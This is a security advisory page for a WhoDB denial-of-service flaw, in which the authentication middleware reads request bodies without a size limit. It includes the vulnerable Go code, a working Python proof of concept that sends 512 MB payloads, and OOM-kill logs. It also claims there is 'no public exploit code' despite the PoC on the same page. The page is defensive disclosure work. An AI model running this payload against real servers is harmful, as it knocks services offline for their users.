# GHSA-5pf6-cq2v-23ww: WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service

> Unauthenticated attackers can cause denial of service in WhoDB by sending large request bodies that exhaust server memory.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 19 Dec 2024
- **Also known as:** GO-2024-3350

## What is GHSA-5pf6-cq2v-23ww?

GHSA-5pf6-cq2v-23ww is a denial of service vulnerability in github.com/clidey/whodb/core, published on 19 Dec 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
A Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions.

Affects all versions up to the latest one (v0.43.0).

### Details

The vulnerability exists in the AuthMiddleware function in `core/src/auth/auth.go`. The middleware processes all API requests (`/api/*`) and reads the entire request body using `io.ReadAll` without any size limits:

```go
func AuthMiddleware(next http.Handler) http.Handler {
  return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {
    // No size limit on body reading
    body, err := io.ReadAll(r.Body)

    // ...

    // Creates another copy of the body
    r.Body = io.NopCloser(bytes.NewReader(body))

    // ...

    // Unmarshals the body again, creating more copies
    if err := json.Unmarshal(body, &query); err != nil {
        return false
    }
  })
}
```

The issue is amplified by:
1. A generous 10-minute timeout (`middleware.Timeout(10*time.Minute)`)
2. High throttle limits (10000 concurrent requests, 1000 backlog)
3. Multiple copies of the request body being created during processing
4. No per-client rate limiting

### PoC

1. Run the latest WhoDB:

```
docker run -it -p 127.0.0.1:8080:8080 clidey/whodb
```

2. Prepare a PoC Python script:

```python
import requests
import base64
import json
import time

# Create a sample token
credentials = {
    "database": "test"
}
token = base64.b64encode(json.dumps(credentials).encode()).decode()

# Create a large query that will pass initial checks
# Using "Login" operation which is allowed
payload = {
    "operationName": "Login",
    "variables": {},
    # Create a large string (512 MB)
    "query": "A" * (512 * 1024 * 1024)
}

headers = {
    "Content-Type": "application/json",
    "Cookie": f"Token={token}"  # or use Authorization header if IsAPIGatewayEnabled
}

url = "http://localhost:8080/api/query"  # adjust as needed

print("Sending large payload...")
start = time.time()
try:
    response = requests.post(url, json=payload, headers=headers)
    print(f"Response status: {response.status_code}")
except Exception as e:
    print(f"Request failed: {e}")
print(f"Time taken: {time.time() - start:.2f}s")
```

3. Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process "core" is the entrypoint of the container.

```
[3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0
[3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0
```

### Impact

- Severity: High
- Authentication Required: No (public API endpoint)
- Affected Components: All API endpoints (`/api/*`)
- Impact Type: Denial of Service

Any client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks.

Fix considerations:
1. Implement request body size limits using `http.MaxBytesReader`
2. Reduce the request timeout from 10 minutes
3. Implement per-client rate limiting
4. Consider streaming body processing instead of loading entirely into memory

## Which versions are affected by GHSA-5pf6-cq2v-23ww?

3 open source packages ship an affected version, including github.com/clidey/whodb/core.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/clidey/whodb/core` | Go | All versions | None |
| `github.com/clidey/whodb/core` | Go | All versions | None |
| `github.com/clidey/whodb/core` | Go | All versions | None |

## How do I fix GHSA-5pf6-cq2v-23ww?

No fix has been published for GHSA-5pf6-cq2v-23ww yet. Limit exposure of the affected software until one is available.

## Is GHSA-5pf6-cq2v-23ww being exploited?

There is no known exploitation of GHSA-5pf6-cq2v-23ww in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-5pf6-cq2v-23ww and fix it if it is affected.

What it is: GHSA-5pf6-cq2v-23ww is a denial of service vulnerability in github.com/clidey/whodb/core, published on 19 Dec 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-5pf6-cq2v-23ww in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/clidey/whodb/core (Go): affected all versions; no fix listed
- github.com/clidey/whodb/core (Go): affected all versions; no fix listed
- github.com/clidey/whodb/core (Go): affected all versions; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/ (Markdown: https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-5pf6-cq2v-23ww

---
From sbomify Insights: https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/
Summaries are generated and may contain mistakes; the official description above is the record.
